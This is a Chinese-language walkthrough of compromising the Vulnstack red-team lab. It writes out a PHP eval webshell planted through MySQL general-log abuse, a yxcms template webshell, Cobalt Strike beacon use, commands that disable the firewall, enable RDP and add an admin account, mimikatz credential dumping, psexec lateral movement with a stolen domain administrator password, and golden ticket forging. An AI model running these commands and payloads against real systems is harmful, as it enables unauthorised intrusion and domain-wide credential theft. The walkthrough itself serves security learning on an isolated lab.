「声明」
仅供学习内网渗透原理,本篇文章只作为学习知识使用。禁止用于违法行为。请勿利用文章内的相关技术从事非法测试或未授权项目目标等等,如因此产生的一切不良后果与文章作者和本公众号无关。
信息收集发现 phpmyadmin并且是弱口令通过日志文件进行getshell ;yxcms的网页通过漏洞利用get到shell,拿cs控制后进行内网信息收集以及横向移动,最终用窃取的凭证横向移动到域控主机,使用黄金票据获取域内主机,最终实现整个域的控制。
下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
我们下载完靶机有三个压缩包,对应三个虚拟机:VM1为win7,VM2为winserver 2003即win2k3,VM3为winserver 2008 可以看到VM1是通外网的Web服务器,VM2和VM3是内网环境,与外网隔绝,只可以通过VM1进行访问。一要营造一个内网环境(包括VM1,VM2,VM3),因此需要将虚拟机与外网隔绝,在VMware中可以通过虚拟机设置中的网络适配器来设置,设置成仅主机模式放到一个VMnet中即可实现三台主机在一个内网。二要使得VM1能够访问外网,所以需要给VM1添加一个网卡,设置成NAT模式。所以最终我给VM1(win7) 设置两个网卡,一个自定义连接到VMnet1(仅主机模式),另一个连接模式为NAT,方便连接外网。VM2(winserver2k3)和VM3(winserver2008) VM1(win7)VM3(winserver2008)VM2(winserver2k3)环境配置完毕
nmap -sV -p 1-65000 192.168.80.139
访问80端口,访问发现了phpstudy探针,看到网站根目录绝对路径是C:/phpStudy/WWW
拿出我珍藏版的御剑,发现beifen.rar和phpmyadmin后台目录访问phpmyadmin,发现弱口令root/root直接登录上去了
登录phpmyadmon,尝试用sql语句写文件select '<?php phpinfo();?>' into outfile 'C:/phpStudy/WWW/phpinfo.php'
结果因为MySQL服务器使用--secure file priv选项运行,所以无法执行此语句试试看能不能通过日志文件来写shell
查看日志状态:show variables like '%general%'
日志功能是关闭的,开启后,执行过的sql语句都会保存到stu1.log
我们可以修改保存路径,存到我们指定的文件中
先开启日志功能:set global general_log=on
再次查看日志状态修改日志保存路径为C:/phpStudy/WWW/shell.php
:set global general_log_file='C:/phpStudy/WWW/shell.php'
查看是否修改成功查询一句话木马:SELECT '<?php eval($_POST["cmd"]);?>'
这样shell就成功写入shell.php了用蚁剑进行连接
前面的目录扫描扫描出备份文件 访问/yxcms/,在首页发现直接给出了后台登录地址和后台登录密码在模板处写入一个webshell很明显就是前台的搜索功能,我们随便搜索一个关键字就会触发这个shellhttp://192.168.80.139/yxcms//index.php?r=default%2Findex%2Fsearch&keywords=777&type=all根据上面爆破出来的备份文件也可以知道文件路径http://192.168.80.139/yxcms/protected/apps/default/view/default/index_search.php
上线Viper和Cobalt strike
通过蚁剑进行上传执行exe成功上线
通过蚁剑进行上传执行执行exe成功上线
也可以手动或者使用cs进行信息收集 一些常用命令
net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
ipconfig /all #查询本机IP段,所在域等
net config Workstation #当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user #本机用户列表
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控
net localhroup administrators #本机管理员[通常含有域用户]
net user 用户名 /domain #获取指定用户的账户信息
net group /domain #查询域里面的工作组
net group 组名 /domain #查询域中的某工作组
net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器 net user /domain #查看域用户 net view /domain #查看有几个域 ipconfig /all #查询本机IP段,所在域等 net config Workstation #当前计算机名,全名,用户名,系统版本,工作站域,登陆域 net user #本机用户列表 net group "domain computers" /domain #查看域内所有的主机名 net group "domain admins" /domain #查看域管理员 net group "domain controllers" /domain #查看域控 net localhroup administrators #本机管理员[通常含有域用户] net user 用户名 /domain #获取指定用户的账户信息 net group /domain #查询域里面的工作组 net group 组名 /domain #查询域中的某工作组
ipconfig /all看到有内网ip #可判断是否存在域一些命令在msf的shell没能成功执行,但在cs下可以
查看权限信息
可以知道 :管理员权限, 存在域 ,域:GOD,主机名:STU1 点击绿色的按钮,进行域信息收集
通过信息收集可以知道 域内一共有三台主机,本机是属于域用户 还有一台域用户:ip: 192.168.52.139 主机名:root-tvi862ubeh.god.org 域控信息:主机名: owa.god.org ip:192.168.52.138 windows server 2008 r2 查看运行信息
基本信息网卡信息查看arp信息有两条ip信息,52.138和52.141 内网ip扫描
windows7 x64 主机名:STU1 administra权限
双网卡:1、192.168.80.0/24 2、192.168.52.0/24
arp信息发现两个ip:192.168.52.138、192.168.52.141
存在域(192.168.52.0/24):
域内主机:
1、主机名:owa.god.org ip:192.168.52.138 windows server 2008 r2(域控)
2、主机名:root-tvi862ubeh.god.org ip:192.168.52.141
3、主机名:STU1 ip:192.168.52.143
IP 端口 协议
192.168.52.138 80 TCP
192.168.52.138 139 TCP
192.168.52.138 88 TCP
192.168.52.138 445 TCP
192.168.52.141 21 TCP
192.168.52.141 139 TCP
192.168.52.141 445 TCP
192.168.52.141 7001 TCP
进行ms17-010扫描,这里因为不再同一网段,需要添加路由所有无法访问添加路由:目的是为了让MSF其他模块能访问内网的其他主机
再次扫描,两台主机都存在漏洞
获取到一个 cs 的 beacon 后可以继续查看目标内网情况和端口开放情况 在 beacon 上右键 -> 目标 -> 选择 net view 或者 port scan(端口扫描) **net view **查看当前域中计算机列表
执行之后,可以在CobaltStrike->可视化->目标列表看到扫描出来的主机(「加粗的就是已经获取到权限的主机」)
查看当前用户权限,因为一般拿下window的话都会尝试去连接它的远程桌面,所以再查看一下3389端口开放情况 没有回显,即3389并没有开启,我们使用以下命令开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
执行上述命令后,您需要运行另一个命令并按Enter键执行它。此命令将在防火墙中添加和更新规则,之后,您可以使用远程桌面
advfirewall set allprofiles state off
添加用户
net user test @[email protected] /add # 添加账户密码
net localgroup administrators test /add # 给test账户添加为管理员权限
net user test # 查询是否成功添加test用户
由于目标不出网,需要端口转发 这里直接使用viper的端口转发功能
成功连接 为了不把其它用户挤下线,这里就不登录了
上面viper检测出两台主机都存在「MS17-010,则可以尝试利用漏洞获取权限」
利用失败,两台主机都没有上线
用 cs 的 hashdump 读内存密码:hashdump 用 mimikatz 读注册表密码:logonpasswords
在凭证信息一栏可以清楚查看:如果权限不够可以提权,自带部分提权POC
因为192.168.52.0/24段不能直接连接到攻击机 地址,所以需要CS派生smb beacon。让内网的主机连接到win7上。
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
简单来说,SMB Beacon 有两种方式
「第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash」
新建一个 Listener,payload 设置为 Beacon SMB在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beacon 的 listerner
选择后会反弹一个子会话,在 external 的 ip 后面会有一个链接的小图标:
这就是派生的 SMB Beacon,当前没有连接 可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它
「第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透」前提是能够通过 shell 之类访问到内网其他主机
前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息 于是可以尝试使用 psexec 模块登录其他主机 右键选择 域控主机 owa 的 psexec 模块:在弹出的窗口中选择使用 god.org 的 Administrator 的凭证信息 监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:
可以看到分别执行了
beacon> rev2self
[*] Tasked beacon to revert token
beacon> make_token GOD.ORG\Administrator [email protected]
[*] Tasked beacon to create a token for GOD.ORG\Administrator
beacon> jump psexec OWA smb
这几条命令,执行后得到了 OWA 这台主机的 beacon(域控)
krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户
域名已经在前面收集到:god.org
拿到域控主机后,就可以伪造黄金票据了,先选择hashdump得到kebtgt账户的NTLM值:
然后用用mimikatz找到一个合法的sid:
然后就可以构造黄金票据了,用户名任意,域名为当前域名,sid和hash值就是刚才获取到的:可以使用mimikatz kerberos::list命令查看当前系统的票据:上线那台域用户:root-tvi862ubeh.god.org加载票据访问,选择监听器后执行,主机成功上线:
主机全部拿下
直接窃取 GOD\Administrator 的 token 来登录其他主机 选择 beacon 右键 -> 目标 -> 进程列表 选择 GOD\Administrator 的 token 盗取:
然后在选择令牌处勾选使用当前 token 即可:
推 荐 阅 读
欢 迎 加入学习